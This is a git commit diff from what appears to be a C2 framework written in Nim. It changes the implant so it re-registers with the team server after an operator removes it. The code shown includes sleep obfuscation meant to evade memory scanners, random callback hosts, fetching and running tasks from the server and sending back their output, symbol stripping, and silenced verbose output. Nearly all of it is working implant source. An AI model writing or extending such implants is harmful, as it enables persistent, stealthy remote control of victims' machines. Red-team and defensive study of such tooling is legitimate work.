Agent now re-registers to the team-server when it is still alive after it was removed via the client.

This commit is contained in:
Jakob Friedl
2025-10-27 16:20:38 +01:00
parent f30f1d2ec0
commit c718e3647a
6 changed files with 58 additions and 44 deletions

View File

@@ -37,7 +37,8 @@ proc deserializeConfiguration(config: string): AgentCtx =
), ),
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)), sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
agentPublicKey: agentKeyPair.publicKey, agentPublicKey: agentKeyPair.publicKey,
profile: parseString(unpacker.getDataWithLengthPrefix()) profile: parseString(unpacker.getDataWithLengthPrefix()),
registered: false
) )
wipeKey(agentKeyPair.privateKey) wipeKey(agentKeyPair.privateKey)

View File

@@ -51,10 +51,15 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
# Select random callback host # Select random callback host
let hosts = ctx.hosts.split(";") let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)] let host = hosts[rand(hosts.len() - 1)]
let responseBody = waitFor client.getContent(fmt"http://{host}/{endpoint[0..^2]}") let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}")
# Check the HTTP status code to determine whether the agent needs to re-register to the team server
if response.code == Http404:
ctx.registered = false
# Return if no tasks are queued # Return if no tasks are queued
if responseBody.len <= 0: let responseBody = waitFor response.body
if responseBody.len() <= 0:
return "" return ""
# In case that tasks are found, apply data transformation to server's response body to get thr raw data # In case that tasks are found, apply data transformation to server's response body to get thr raw data

View File

@@ -17,23 +17,35 @@ proc main() =
var registration: AgentRegistrationData = ctx.collectAgentMetadata() var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration) let registrationBytes = ctx.serializeRegistrationData(registration)
if not ctx.httpPost(registrationBytes): if ctx.httpPost(registrationBytes):
print("[-] Agent registration failed.")
quit(0)
print fmt"[+] [{ctx.agentId}] Agent registered." print fmt"[+] [{ctx.agentId}] Agent registered."
ctx.registered = true
else:
print "[-] Agent registration failed."
#[ #[
Agent routine: Agent routine:
1. Sleep Obfuscation 1. Register to the team server if not already register
2. Retrieve tasks via checkin request to a GET endpoint 2. Sleep Obfuscation
3. Execute task and post result 3. Retrieve tasks via checkin request to a GET endpoint
4. If additional tasks have been fetched, go to 3. 4. Execute task and post result
5. If no more tasks need to be executed, go to 1. 5. If additional tasks have been fetched, go to 3.
6. If no more tasks need to be executed, go to 1.
]# ]#
while true: while true:
# Sleep obfuscation to evade memory scanners # Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleepSettings) sleepObfuscate(ctx.sleepSettings)
# Register
if not ctx.registered:
if ctx.httpPost(registrationBytes):
print fmt"[+] [{ctx.agentId}] Agent registered."
ctx.registered = true
else:
print "[-] Agent registration failed."
continue
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss")) let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
print "\n", fmt"[*] [{date}] Checking in." print "\n", fmt"[*] [{date}] Checking in."
@@ -46,13 +58,13 @@ proc main() =
packet: string = ctx.httpGet(heartbeatBytes) packet: string = ctx.httpGet(heartbeatBytes)
if packet.len <= 0: if packet.len <= 0:
print("[*] No tasks to execute.") print "[*] No tasks to execute."
continue continue
let tasks: seq[Task] = ctx.deserializePacket(packet) let tasks: seq[Task] = ctx.deserializePacket(packet)
if tasks.len <= 0: if tasks.len <= 0:
print("[*] No tasks to execute.") print "[*] No tasks to execute."
continue continue
# Execute all retrieved tasks and return their output to the server # Execute all retrieved tasks and return their output to the server
@@ -63,7 +75,7 @@ proc main() =
ctx.httpPost(resultBytes) ctx.httpPost(resultBytes)
except CatchableError as err: except CatchableError as err:
print("[-] ", err.msg) print "[-] ", err.msg
when isMainModule: when isMainModule:
main() main()

View File

@@ -5,5 +5,5 @@
--passL:"-s" # Strip symbols, such as sensitive function names --passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511" -d:MODULES="511"
-d:VERBOSE="true" -d:VERBOSE="false"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -336,6 +336,7 @@ type
sessionKey*: Key sessionKey*: Key
agentPublicKey*: Key agentPublicKey*: Key
profile*: Profile profile*: Profile
registered*: bool
# Structure for command module definitions # Structure for command module definitions
type type

View File

@@ -47,7 +47,6 @@ proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte
{.cast(gcsafe).}: {.cast(gcsafe).}:
try:
# Deserialize checkin request to obtain agentId and listenerId # Deserialize checkin request to obtain agentId and listenerId
let let
request: Heartbeat = cq.deserializeHeartbeat(heartbeat) request: Heartbeat = cq.deserializeHeartbeat(heartbeat)
@@ -76,10 +75,6 @@ proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte
return (agentId, tasks) return (agentId, tasks)
except CatchableError as err:
cq.error(err.msg)
return ("", @[])
proc handleResult*(resultData: seq[byte]) = proc handleResult*(resultData: seq[byte]) =
{.cast(gcsafe).}: {.cast(gcsafe).}: